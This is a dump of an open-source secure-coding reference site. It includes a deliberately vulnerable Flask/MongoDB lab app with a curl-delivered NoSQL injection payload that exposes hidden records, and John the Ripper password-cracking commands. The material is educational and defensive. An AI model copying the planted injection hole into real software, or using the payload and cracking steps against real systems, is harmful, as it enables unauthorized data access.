├── .bundle └── config ├── .gitignore ├── Gemfile ├── Gemfile.lock ├── LICENSE.md ├── README.md ├── _config.yml ├── _includes ├── aside_footer.html ├── footer.html ├── head.html ├── header-default.html ├── header-post.html ├── header.html ├── home-aside.html ├── icon-github.html ├── icon-github.svg ├── icon-twitter.html ├── icon-twitter.svg ├── logo.html ├── menu-search.html ├── scripts.html ├── share.html ├── svg-icons.html └── tree-posts.html ├── _layouts ├── compress.html ├── default.html ├── home.html ├── minimal.html ├── page.html ├── post.html └── practice.html ├── _practices ├── _template.md ├── data-validation │ ├── _python │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── app.py │ │ ├── docker-compose.yml │ │ ├── inject_articles.py │ │ └── requirements.txt │ └── python.md ├── safe-password-storage │ ├── _python │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── app.py │ │ ├── generate_data.py │ │ ├── john.ini │ │ ├── password.list │ │ └── requirements.txt │ └── python.md └── timing-attack │ ├── _python │ ├── README.md │ ├── app.py │ ├── hack.py │ ├── requirements.txt │ └── test.py │ ├── nodejs.md │ ├── python.md │ └── string-comparison.jpeg ├── _sass ├── minima.scss └── minima │ ├── _base.scss │ ├── _layout.scss │ └── _syntax-highlighting.scss ├── assets ├── css │ ├── font-awesome.css │ ├── font-awesome.min.css │ └── main.css ├── font-mfizz.css ├── font-mfizz.eot ├── font-mfizz.svg ├── font-mfizz.ttf ├── font-mfizz.woff ├── fonts │ ├── .DS_Store │ ├── FontAwesome.otf │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── fontawesome-webfont.woff2 ├── img │ ├── icons │ │ ├── apple-touch-icon-114x114.png │ │ ├── apple-touch-icon-120x120.png │ │ ├── apple-touch-icon-144x144.png │ │ ├── apple-touch-icon-152x152.png │ │ ├── apple-touch-icon-57x57.png │ │ ├── apple-touch-icon-60x60.png │ │ ├── apple-touch-icon-72x72.png │ │ ├── apple-touch-icon-76x76.png │ │ ├── apple-touch-icon.png │ │ ├── favicon-16x16.png │ │ ├── favicon-32x32.png │ │ ├── favicon-64x64.png │ │ ├── largetile.png │ │ ├── mediumtile.png │ │ ├── smalltile.png │ │ └── widetile.png │ ├── logo-cc.png │ ├── logo-cc.svg │ ├── logo-cc@2x.png │ ├── logo-cc@3x.png │ ├── logo-codoms.png │ ├── logo-codoms.svg │ ├── logo-codoms@2x.png │ ├── logo-codoms@3x.png │ └── sharding-gerenciamento-usuarios │ │ ├── ajudando-carregar.jpg │ │ ├── carrega-sozinho.jpg │ │ ├── daca-animada.gif │ │ ├── happy-scooby.gif │ │ └── servers.gif ├── js │ └── main.js └── main.scss ├── contribute.md ├── gulpfile.js ├── index.md ├── local.sh ├── package.json ├── pages ├── c.html ├── clojure.html ├── cplusplus.html ├── csharp.html ├── erlang.html ├── go.html ├── haskell.html ├── java.html ├── nodejs.html ├── objc.html ├── perl.html ├── php.html ├── python.html ├── ruby.html ├── rust.html ├── scala.html └── search.json ├── script ├── bootstrap ├── build └── cibuild ├── src ├── img │ ├── blog-author.jpg │ ├── blog-image.png │ ├── icons │ │ ├── apple-touch-icon-114x114.png │ │ ├── apple-touch-icon-120x120.png │ │ ├── apple-touch-icon-144x144.png │ │ ├── apple-touch-icon-152x152.png │ │ ├── apple-touch-icon-57x57.png │ │ ├── apple-touch-icon-60x60.png │ │ ├── apple-touch-icon-72x72.png │ │ ├── apple-touch-icon-76x76.png │ │ ├── apple-touch-icon.png │ │ ├── favicon-16x16.png │ │ ├── favicon-32x32.png │ │ ├── favicon-64x64.png │ │ ├── favicon.ico │ │ ├── largetile.png │ │ ├── mediumtile.png │ │ ├── smalltile.png │ │ └── widetile.png │ ├── logo-cc.png │ ├── logo-cc.svg │ ├── logo-cc2x.png │ ├── logo-cc3x.png │ ├── logo-codoms.png │ ├── logo-codoms.svg │ ├── logo-codoms2x.png │ └── logo-codoms3x.png ├── js │ ├── azepto.js │ ├── simpleJekyllSearch.js │ └── zmain.js └── styl │ ├── _animations.styl │ ├── _author.styl │ ├── _elements.styl │ ├── _footer.styl │ ├── _header.styl │ ├── _hightlight.styl │ ├── _icons.styl │ ├── _menu.styl │ ├── _page.styl │ ├── _post.styl │ ├── _postlist.styl │ ├── _search.styl │ ├── _typo.styl │ ├── _variables.styl │ ├── jeet │ ├── _functions.styl │ ├── _grid.styl │ ├── _settings.styl │ └── index.styl │ └── main.styl └── yarn.lock /.bundle/config: -------------------------------------------------------------------------------- 1 | --- 2 | BUNDLE_PATH: "vendor/bundle/" 3 | BUNDLE_DISABLE_SHARED_GEMS: "true" 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Jekyll 2 | _site 3 | .sass-cache 4 | .jekyll-metadata 5 | 6 | # Mac OS X 7 | **/.DS_Store 8 | 9 | # Python 10 | *.pyc 11 | **/__pycache__/ 12 | 13 | # JS 14 | **/node_modules/ 15 | **/vendor/ -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | ruby RUBY_VERSION 3 | 4 | # Hello! This is where you manage which Jekyll version is used to run. 5 | # When you want to use a different version, change it below, save the 6 | # file and run `bundle install`. Run Jekyll with `bundle exec`, like so: 7 | # 8 | # bundle exec jekyll serve 9 | # 10 | # This will help ensure the proper Jekyll version is running. 11 | # Happy Jekylling! 12 | gem "jekyll", "3.4.1" 13 | 14 | # Windows does not include zoneinfo files, so bundle the tzinfo-data gem 15 | gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby] 16 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | addressable (2.5.0) 5 | public_suffix (~> 2.0, >= 2.0.2) 6 | colorator (1.1.0) 7 | ffi (1.9.18) 8 | forwardable-extended (2.6.0) 9 | jekyll (3.4.1) 10 | addressable (~> 2.4) 11 | colorator (~> 1.0) 12 | jekyll-sass-converter (~> 1.0) 13 | jekyll-watch (~> 1.1) 14 | kramdown (~> 1.3) 15 | liquid (~> 3.0) 16 | mercenary (~> 0.3.3) 17 | pathutil (~> 0.9) 18 | rouge (~> 1.7) 19 | safe_yaml (~> 1.0) 20 | jekyll-sass-converter (1.5.0) 21 | sass (~> 3.4) 22 | jekyll-watch (1.5.0) 23 | listen (~> 3.0, < 3.1) 24 | kramdown (1.13.2) 25 | liquid (3.0.6) 26 | listen (3.0.8) 27 | rb-fsevent (~> 0.9, >= 0.9.4) 28 | rb-inotify (~> 0.9, >= 0.9.7) 29 | mercenary (0.3.6) 30 | pathutil (0.14.0) 31 | forwardable-extended (~> 2.6) 32 | public_suffix (2.0.5) 33 | rb-fsevent (0.9.8) 34 | rb-inotify (0.9.8) 35 | ffi (>= 0.5.0) 36 | rouge (1.11.1) 37 | safe_yaml (1.0.4) 38 | sass (3.4.23) 39 | 40 | PLATFORMS 41 | ruby 42 | 43 | DEPENDENCIES 44 | jekyll (= 3.4.1) 45 | tzinfo-data 46 | 47 | RUBY VERSION 48 | ruby 2.3.0p0 49 | 50 | BUNDLED WITH 51 | 1.14.6 52 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: License 3 | layout: page 4 | --- 5 | 6 | XXX (c) by engineers@sqreen.io 7 | 8 | XXX is licensed under a 9 | Creative Commons Attribution 4.0 International License. 10 | 11 | You should have received a copy of the license along with this 12 | work. If not, see . 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Launch 2 | 3 | In order to launch: 4 | 5 | ``` 6 | bundle install 7 | bundle exec jekyll serve 8 | ``` 9 | 10 | If you want to change stylus styles: 11 | 12 | ``` 13 | yarn install 14 | ./node_modules/gulp/bin/gulp.js 15 | ``` 16 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | # Welcome to Jekyll! 2 | # 3 | # This config file is meant for settings that affect your whole blog, values 4 | # which you are expected to set up once and rarely edit after that. If you find 5 | # yourself editing this file very often, consider using Jekyll's data files 6 | # feature for the data you need to update frequently. 7 | # 8 | # For technical reasons, this file is *NOT* reloaded automatically when you use 9 | # 'bundle exec jekyll serve'. If you change this file, please restart the server process. 10 | 11 | # Site settings 12 | # These are used to personalize your new site. If you look in the HTML files, 13 | # you will see them accessed via {{ site.title }}, {{ site.email }}, and so on. 14 | # You can create any custom variable you would like, and they will be accessible 15 | # in the templates via {{ site.myvariable }}. 16 | title: Developers Security Best Practices 17 | description: > # this means to ignore newlines until "baseurl:" 18 | 'Developers Security Best Practices' is a bullshit-free, developers friendly, open-source reference of best practices 19 | for avoiding vulnerabilities. 20 | baseurl: /DevelopersSecurityBestPractices 21 | url: "https://sqreen.github.io/DevelopersSecurityBestPractices/" 22 | github_url: "https://github.com/sqreen/DevelopersSecurityBestPractices" 23 | 24 | languages_humanized: 25 | c: "C" 26 | clojure: "Clojure" 27 | cplusplus: "C++" 28 | csharp: "C#" 29 | erlang: "Erlang" 30 | go: "Go" 31 | haskell: "Haskell" 32 | java: "Java" 33 | objc: "Objective-C" 34 | perl: "Perl" 35 | php: "PHP" 36 | python: "Python" 37 | ruby: "Ruby" 38 | rust: "Rust" 39 | nodejs: "Node.js" 40 | scala: "Scala" 41 | 42 | # Build settings 43 | markdown: kramdown 44 | exclude: 45 | - Gemfile 46 | - Gemfile.lock 47 | - package.json 48 | - node_modules 49 | - vendor 50 | collections: 51 | practices: 52 | output: true 53 | permalink: /:path 54 | defaults: 55 | - scope: 56 | path: "" 57 | type: practices 58 | values: 59 | layout: practice 60 | -------------------------------------------------------------------------------- /_includes/aside_footer.html: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 | 5 | 6 | Made with by 7 | Sqreen and the 8 | community 9 |

10 | -------------------------------------------------------------------------------- /_includes/footer.html: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /_includes/head.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | {% if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}{% if page.layout == "practice" %} in {{ page.language }}{% endif %} 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | {% if page.image %} 20 | 21 | {% else %} 22 | 23 | {% endif %} 24 | 25 | 26 | 27 | 28 | {% if page.image %} 29 | 30 | {% else %} 31 | 32 | {% endif %} 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /_includes/header-default.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | 4 |

{{ site.description }}

5 | 6 |
    7 |

    All Good practices:

    8 | 9 | {% if page.language %} 10 | {% assign practices=site.practices | where:"language", page.language | sort: 'title' %} 11 | {% else %} 12 | {% assign practices=site.practices | sort: 'title' %} 13 | {% endif %} 14 | 15 | {% for post in practices %} 16 |
  • 17 | 18 |

    {{ post.title }}

    19 |
    20 |
  • 21 | {% endfor %} 22 | 23 |
  • 24 | 25 |

    Add a new good practice

    26 |
    27 |
  • 28 |
29 | 30 |
31 |
32 | {% include menu-search.html %} 33 | -------------------------------------------------------------------------------- /_includes/header-post.html: -------------------------------------------------------------------------------- 1 |
2 | {% include menu-search.html %} 3 |
4 | -------------------------------------------------------------------------------- /_includes/header.html: -------------------------------------------------------------------------------- 1 | 28 | -------------------------------------------------------------------------------- /_includes/home-aside.html: -------------------------------------------------------------------------------- 1 | 39 | -------------------------------------------------------------------------------- /_includes/icon-github.html: -------------------------------------------------------------------------------- 1 | {% include icon-github.svg %}{{ include.username }} 2 | -------------------------------------------------------------------------------- /_includes/icon-github.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /_includes/icon-twitter.html: -------------------------------------------------------------------------------- 1 | {{ include.username }} 2 | -------------------------------------------------------------------------------- /_includes/icon-twitter.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /_includes/logo.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 | 5 | 6 | 7 | Developers Security Best Practices 8 |

9 |
10 | -------------------------------------------------------------------------------- /_includes/menu-search.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 | 5 | 6 | 7 |
    8 |
    9 | 10 |
    11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /_includes/scripts.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /_includes/share.html: -------------------------------------------------------------------------------- 1 |
    2 | 3 |
    4 |

    Share on

    5 | 6 | 8 | 9 | 10 | 11 | 13 | 14 | 15 | 16 | 18 | 19 | 20 | 21 |
    22 |
    23 | -------------------------------------------------------------------------------- /_includes/svg-icons.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /_includes/tree-posts.html: -------------------------------------------------------------------------------- 1 | 36 | -------------------------------------------------------------------------------- /_layouts/compress.html: -------------------------------------------------------------------------------- 1 | --- 2 | # Jekyll layout that compresses HTML 3 | # v1.4.0 4 | # http://jch.penibelst.de/ 5 | # © 2014–2015 Anatol Broder 6 | # MIT License 7 | --- 8 | {% if site.compress_html.ignore.envs contains jekyll.environment %}{{ content }}{% else %}{% capture _content %}{{ content }}{% endcapture %}{% assign _profile = site.compress_html.profile %}{% if site.compress_html.endings == "all" %}{% assign _endings = "html head body li dt dd p rt rp optgroup option colgroup caption thead tbody tfoot tr td th" | split: " " %}{% else %}{% assign _endings = site.compress_html.endings %}{% endif %}{% for _element in _endings %}{% capture _end %}{% endcapture %}{% assign _content = _content | remove: _end %}{% endfor %}{% if _profile and _endings %}{% assign _profile_endings = _content | size | plus: 1 %}{% endif %}{% assign _pre_befores = _content | split: "" %}{% case _pres.size %}{% when 2 %}{% capture _content %}{{ _content }}{{ _pres.last | split: " " | join: " " }}{% endcapture %}{% when 1 %}{% capture _content %}{{ _content }}{{ _pres.last | split: " " | join: " " }}{% endcapture %}{% endcase %}{% endfor %}{% if _profile %}{% assign _profile_collapse = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.comments == "all" %}{% assign _comments = "" | split: " " %}{% else %}{% assign _comments = site.compress_html.comments %}{% endif %}{% if _comments.size == 2 %}{% assign _comment_befores = _content | split: _comments.first %}{% for _comment_before in _comment_befores %}{% assign _comment_content = _comment_before | split: _comments.last | first %}{% if _comment_content %}{% capture _comment %}{{ _comments.first }}{{ _comment_content }}{{ _comments.last }}{% endcapture %}{% assign _content = _content | remove: _comment %}{% endif %}{% endfor %}{% if _profile %}{% assign _profile_comments = _content | size | plus: 1 %}{% endif %}{% endif %}{% if site.compress_html.clippings == "all" %}{% assign _clippings = "html head title base link meta style body article section nav aside h1 h2 h3 h4 h5 h6 hgroup header footer address p hr blockquote ol ul li dl dt dd figure figcaption main div table caption colgroup col tbody thead tfoot tr td th" | split: " " %}{% else %}{% assign _clippings = site.compress_html.clippings %}{% endif %}{% for _element in _clippings %}{% assign _edges = " ;; ;" | replace: "e", _element | split: ";" %}{% assign _content = _content | replace: _edges[0], _edges[1] | replace: _edges[2], _edges[3] | replace: _edges[4], _edges[5] %}{% endfor %}{% if _profile and _clippings %}{% assign _profile_clippings = _content | size | plus: 1 %}{% endif %}{{ _content }}{% if _profile %}
    Step Bytes
    raw {{ content | size }}{% if _profile_endings %}
    endings {{ _profile_endings }}{% endif %}{% if _profile_collapse %}
    collapse {{ _profile_collapse }}{% endif %}{% if _profile_comments %}
    comments {{ _profile_comments }}{% endif %}{% if _profile_clippings %}
    clippings {{ _profile_clippings }}{% endif %}
    {% endif %}{% endif %} -------------------------------------------------------------------------------- /_layouts/default.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | --- 4 | 5 | 6 | {% include head.html %} 7 | 8 | {% include svg-icons.html %} 9 | {% include header-default.html %} 10 | {% include home-aside.html %} 11 |
    12 | {{ content }} 13 |
    14 | {% include scripts.html %} 15 | 16 | 17 | -------------------------------------------------------------------------------- /_layouts/home.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | --- 4 | -------------------------------------------------------------------------------- /_layouts/minimal.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: compress 3 | --- 4 | 5 | 6 | 7 | {% include head.html %} 8 | 9 | {% include svg-icons.html %} 10 | {% include header-post.html %} 11 | {% include tree-posts.html %} 12 |
    13 | 14 |
    15 | {{ content }} 16 |
    17 | {% include scripts.html %} 18 |
    19 | 20 | 21 | -------------------------------------------------------------------------------- /_layouts/page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {% include head.html %} 4 | 5 | {% include svg-icons.html %} 6 | {% include tree-posts.html %} 7 |
    8 |

    {{ page.title }}

    9 | 10 |
    11 | {{ content }} 12 |
    13 | 14 | {% include scripts.html %} 15 |
    16 | 17 | 18 | -------------------------------------------------------------------------------- /_layouts/post.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {% include head.html %} 4 | 5 | {% include svg-icons.html %} 6 | {% include header-post.html %} 7 | {% include tree-posts.html %} 8 |
    9 | {% if page.date %} 10 |
    11 | 12 |
    13 | {% endif %} 14 |

    {{ page.title }}

    15 | 16 |
    17 | {{ content }} 18 |
    19 | 20 | {% include share.html %} 21 | {% include scripts.html %} 22 |
    23 | 24 | 25 | -------------------------------------------------------------------------------- /_layouts/practice.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {% include head.html %} 4 | 5 | {% include svg-icons.html %} 6 | 7 |
    8 |
    9 | 10 | {% include tree-posts.html %} 11 |
    12 |

    {{ page.title }}

    13 | 14 | 15 | 28 | 29 | {% include share.html %} 30 | {% include scripts.html %} 31 |
    32 | 33 | 34 | -------------------------------------------------------------------------------- /_practices/_template.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Sample 3 | language: python 4 | --- 5 | 6 | Quick explanation goes here 7 | 8 | # TLDR 9 | 10 | # Vulnerable code 11 | 12 | # Vulnerability explanation 13 | 14 | # Not vulnerable code 15 | 16 | # Example of attack 17 | 18 | {% include_relative _python/README.md %} 19 | 20 | ## References: 21 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | ADD requirements.txt /src/requirements.txt 4 | RUN pip install -r /src/requirements.txt 5 | 6 | ADD . /src 7 | WORKDIR /src 8 | CMD python inject_articles.py; python app.py 9 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/README.md: -------------------------------------------------------------------------------- 1 | We have provided a sample python web application coded in Flask that accept a post category in a JSON Body in a vulnerable way. You can also find a script that will exploit this vulnerability to retrieve the expected token. 2 | 3 | ### Run the web application 4 | 5 | In order to run the web application, you'll need a MongoDB database running. 6 | 7 | First create a virtualenv: 8 | 9 | ```bash 10 | python -m virtualenv -p $(which python3) venv 11 | source venv/bin/activate 12 | ``` 13 | 14 | Then install the dependencies: 15 | 16 | ```bash 17 | pip install -r requirements.txt 18 | ``` 19 | 20 | Inject some articles by running: 21 | 22 | ```bash 23 | python inject_articles.py 24 | ``` 25 | 26 | You can then run the web application this way: 27 | 28 | ```bash 29 | python app.py 30 | ``` 31 | 32 | You can now get the articles in the `python` category with: 33 | 34 | ```bash 35 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "python"}' "http://localhost:5000/category/" 36 | [{"category": "python", "title": "Running js in python"}] 37 | ``` 38 | 39 | Or in the `security` category with: 40 | 41 | ```bash 42 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "security"}' "http://localhost:5000/category/" 43 | [{"category": "security", "title": "How to safely store password"}] 44 | ``` 45 | 46 | But you can't get the articles in the `drafts` category: 47 | 48 | ```bash 49 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "drafts"}' "http://localhost:5000/category/" 50 | [] 51 | ``` 52 | 53 | ### Hack the application 54 | 55 | The category endpoint is accepting data without first validating it, so we can actually send a json object and do a Mongodb injection with this payload 56 | 57 | ```json 58 | {"$gte": ""} 59 | ``` 60 | 61 | With this payload, the endpoint will returns all articles with a category, include the ones in the `drafts` category: 62 | 63 | ```bash 64 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": {"$gte": ""}}' "http://localhost:5000/category/" 65 | [{"category": "python", "title": "Running js in python"}, 66 | {"category": "security", "title": "How to safely store password"}, 67 | {"category": "drafts", "title": "My secret draft"}] 68 | ``` 69 | 70 | ### Use docker 71 | 72 | We also provided a docker-compose file that you can use if you don't have or want to have a running MongoDB process. 73 | 74 | First you can build with: 75 | 76 | ``` 77 | docker-compose build . 78 | ``` 79 | 80 | Then launch it with: 81 | 82 | ``` 83 | docker-compose up 84 | ``` 85 | 86 | The service is now accessible at ```http://localhost:5000``` and you can use the same `curl` commands as above. 87 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/app.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from os import getenv 4 | 5 | import pymongo 6 | from flask import Flask, request 7 | 8 | app = Flask(__name__) 9 | MONGO_CLIENT = pymongo.MongoClient(getenv("MONGO_HOST", "localhost")) 10 | COLLECTION = MONGO_CLIENT.test.articles 11 | 12 | 13 | @app.route('/category/', methods=['POST']) 14 | def get_articles_by_category(): 15 | category = request.get_json()['category'] 16 | if category == 'drafts': 17 | return "[]" 18 | 19 | return json.dumps(list(COLLECTION.find({'category': category}, {'_id': False}))) 20 | 21 | 22 | if __name__ == "__main__": 23 | app.run(debug=True, host="0.0.0.0") 24 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/docker-compose.yml: -------------------------------------------------------------------------------- 1 | flask: 2 | build: . 3 | links: 4 | - mongo 5 | ports: 6 | - "5000:5000" 7 | environment: 8 | - MONGO_HOST=mongo 9 | mongo: 10 | image: mongo 11 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/inject_articles.py: -------------------------------------------------------------------------------- 1 | from app import COLLECTION 2 | 3 | # Inject some articles in python and security categories 4 | COLLECTION.insert({'title': 'Running js in python', 'category': 'python'}) 5 | COLLECTION.insert({'title': 'How to safely store password', 'category': 'security'}) 6 | 7 | # And inject an article in the draft category that shouldn't be shown 8 | COLLECTION.insert({'title': 'My secret draft', 'category': 'drafts'}) 9 | -------------------------------------------------------------------------------- /_practices/data-validation/_python/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | pymongo 3 | -------------------------------------------------------------------------------- /_practices/data-validation/python.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Data validation 3 | language: python 4 | --- 5 | 6 | > Failures or omissions in data validation can lead to data corruption or a security vulnerability. Data validation checks that data are valid, sensible, reasonable, and secure before they are processed. -- [Owasp](https://en.wikipedia.org/wiki/Data_validation#Validation_and_security) 7 | 8 | # TLDR 9 | 10 | Validate all your input, check the boundaries and the expected types! 11 | 12 | # Vulnerable code 13 | 14 | Here is an example of python web-service that doesn't check the type of its parameters 15 | 16 | ```python 17 | @app.route('/category/', methods="POST") 18 | def get_articles_by_category(): 19 | category = request.get_json()['category'] 20 | if category == 'drafts': 21 | return [] 22 | 23 | return pymongo.MongoClient().test.articles.find({'category': category}) 24 | ``` 25 | 26 | This endpoint forbid access to the `drafts` category but forget to validate the json request. 27 | 28 | # Vulnerability explanation 29 | 30 | When we develop code, we often limit our reflexion to the *happy path*. What are the expected inputs and expected outputs. We test them with unittests and move on to the next piece of code. 31 | 32 | But even the simplest piece of code could crash when playing with the inputs: 33 | 34 | ```python 35 | from decimal import Decimal 36 | 37 | def decimal_division(number_1, number_2): 38 | return Decimal(number_1) / Decimal(number_2) 39 | ``` 40 | 41 | It takes two numbers, convert them into Decimal and return the division. 42 | 43 | It works great with int and floats: 44 | 45 | ```python 46 | >>> decimal_division(1, 0.5) 47 | Decimal('2') 48 | ``` 49 | 50 | There is the well-known edge-case: 51 | 52 | ```python 53 | >>> decimal_division(1, 0) 54 | ... 55 | raise error(explanation) 56 | decimal.DivisionByZero: x / 0 57 | ``` 58 | 59 | That is easy to check: 60 | 61 | ```python 62 | from decimal import Decimal 63 | 64 | def decimal_division(number_1, number_2): 65 | 66 | if number_2 == 0: 67 | raise ValueError(number_2) 68 | 69 | return Decimal(number_1) / Decimal(number_2) 70 | ``` 71 | 72 | What about with non-numbers? 73 | 74 | ```python 75 | >>> decimal_division(1, None) 76 | ... 77 | raise TypeError("Cannot convert %r to Decimal" % value) 78 | TypeError: Cannot convert None to Decimal 79 | ``` 80 | 81 | We should check for inputs types: 82 | 83 | ```python 84 | from decimal import Decimal 85 | 86 | def decimal_division(number_1, number_2): 87 | 88 | if not isinstance(number_1, (int, float)): 89 | raise ValueError(number_1) 90 | 91 | if number_2 == 0 or not isinstance(number_2, (int, float)): 92 | raise ValueError(number_2) 93 | 94 | return Decimal(number_1) / Decimal(number_2) 95 | ``` 96 | 97 | But it's not sufficient, we can also trick the boundaries of the arguments we send: 98 | 99 | ```python 100 | >>> decimal_division(float('inf'), float('-inf')) 101 | ... 102 | raise error(explanation) 103 | decimal.InvalidOperation: (+-)INF/(+-)INF 104 | ``` 105 | 106 | We should also limit the values we accept. 107 | 108 | ```python 109 | from decimal import Decimal 110 | 111 | BLACKLIST = [Decimal('inf'), Decimal('-inf')] 112 | 113 | def decimal_division(number_1, number_2): 114 | 115 | if not isinstance(number_1, (int, float)) or number_1 in BLACKLIST: 116 | raise ValueError(number_1) 117 | 118 | if number_2 == 0 or not isinstance(number_2, (int, float)) or number_2 in BLACKLIST: 119 | raise ValueError(number_2) 120 | 121 | return Decimal(number_1) / Decimal(number_2) 122 | ``` 123 | 124 | # Not vulnerable code 125 | 126 | There is severals Python libraries that can helps you validate your inputs: 127 | 128 | - Django provides validation through [Forms](http://djangobook.com/form-validation/) and [Models](https://docs.djangoproject.com/en/1.10/ref/models/instances/#validating-objects), be sure to use them. 129 | - [Cerberus](http://cerberus.readthedocs.io/en/latest/) is a clean and nice libraries which is input and validation format agnostic, give it two dicts, it will raise if it fails. 130 | 131 | # Example of attack 132 | 133 | {% include_relative _python/README.md %} 134 | 135 | ## References: 136 | 137 | - http://www.ibm.com/developerworks/library/l-sp2/index.html 138 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/_python/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | MAINTAINER boris@sqreen.io 3 | 4 | # Install john the ripper 5 | RUN apt-get -y update && apt-get -y install gcc build-essential libssl-dev john git-core 6 | RUN rm `which john` 7 | RUN git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 8 | RUN cd john/src && ./configure && make -s clean && make -sj4 9 | RUN /john/run/john --test=0 10 | ENV PATH /john/run:$PATH 11 | ADD ./john.ini /john.ini 12 | ADD ./password.list /password.list 13 | 14 | # Install enough python to generate passwords 15 | RUN apt-get -y update && apt-get -y install python python-pip 16 | RUN pip install -U pip 17 | ADD requirements.txt / 18 | RUN pip install -r requirements.txt 19 | ADD generate_data.py / 20 | -------------------------------------------------------------------------------- /_practices/safe-password-storage/_python/README.md: -------------------------------------------------------------------------------- 1 | We have provided a script to generate some data in a format accept by [John The Ripper](http://www.openwall.com/john/). You can use it to generate password hashing by varying some parameters and see the impact it haves on the time needed to crack them. It uses internaly the Django default password hashers, so the hashes are "real". They have the same default settings as Django and can be cracked as fast as real ones. 2 | 3 | It pick a random password from a wordlist named `password.list` so it's the worst case scenario as the password cracker also have access to the password list. The basic list is quite small (~3000 passwords), if you want to have a more realistic scenario, replace `password.list` by [one of password list downloaded here](https://wiki.skullsecurity.org/Passwords). 4 | 5 | Here are some examples of run with MD5, BCrypt and PBKDF2: 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | ### Generate some data locally 14 | 15 | The script `generate_data.py` can be used to generate some data, first install the requirements: 16 | 17 | ``` 18 | pip install -r requirements.txt 19 | ``` 20 | 21 | ``` 22 | usage: generate_data.py [-h] [--salt SALT] [--pepper PEPPER] [--rounds ROUNDS] 23 | [--n N] 24 | algorithm 25 | 26 | Generate username / password list for john the ripper 27 | 28 | positional arguments: 29 | algorithm which algorithm to use (md5, bcrypt or pbkdf2) 30 | 31 | optional arguments: 32 | -h, --help show this help message and exit 33 | --salt SALT which kind of salt to use (none, same, user) 34 | --pepper PEPPER a pepper 35 | --rounds ROUNDS Number of rounds to use 36 | --n N number of users/password to generate 37 | ``` 38 | 39 | For example to generate 5 usernames / password with bcrypt and a different salt per user, you can do: 40 | 41 | ``` 42 | $> python generate_data.py --salt user --n=5 bcrypt 43 | Generating 5 usernames/password with algorithm 'bcrypt' with salt 'user' [12 rounds] and pepper '' 44 | 45 | drakeandrea:$2b$12$K2GNkU1jZBnrHntKRTeE/OauVFlpC3JzQ/5ZEZQL9h8gJMJhPTKre 46 | darlene71:$2b$12$p69/XRS1fd/N.EYn/saBhO0DQoh/SX8SR6XnA5BpN/eJF523m.U7e 47 | brandonbates:$2b$12$fRTHDpoiWePbm1dU8AihrOfkaqNsgXkyxcRbDAhIEYEvfwA0TNYKK 48 | danielle29:$2b$12$Q5dqtlRuWzh.wZB1ZADCGOb3HOgOV2mjN3.x5/n33cS8IQxLLvi9O 49 | jennifer93:$2b$12$l7m9vmEKLqfPrvLURDVn/OEbnkdDa0cPZugA/4O56B3mchkVRkEom 50 | 51 | Output also write in file `passwd` 52 | You can crack it with `john --wordlist=password.list --format=bcrypt passwd` 53 | ``` 54 | 55 | Then to crack it with john the ripper: 56 | 57 | ``` 58 | $> john --wordlist=password.list --format=bcrypt passwd 59 | ``` 60 | 61 | It can take a long time to crack, it's intended. 62 